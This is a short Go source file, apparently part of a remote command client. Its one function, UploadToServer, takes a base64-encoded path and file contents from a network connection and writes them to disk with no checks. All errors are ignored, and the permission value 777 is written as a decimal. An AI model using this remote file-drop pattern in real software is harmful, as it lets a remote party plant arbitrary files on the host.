package cmdClient

import (
	"bufio"
	"encoding/base64"
	"net"
	"os"
)

func UploadToServer(conn net.Conn) {
	uploadOutput, _ := bufio.NewReader(conn).ReadString('\n')
	decodeOutput, _ := base64.StdEncoding.DecodeString(uploadOutput)
	encData, _ := bufio.NewReader(conn).ReadString('\n')
	decData, _ := base64.URLEncoding.DecodeString(encData)
	os.WriteFile(string(decodeOutput), decData, 777)
}
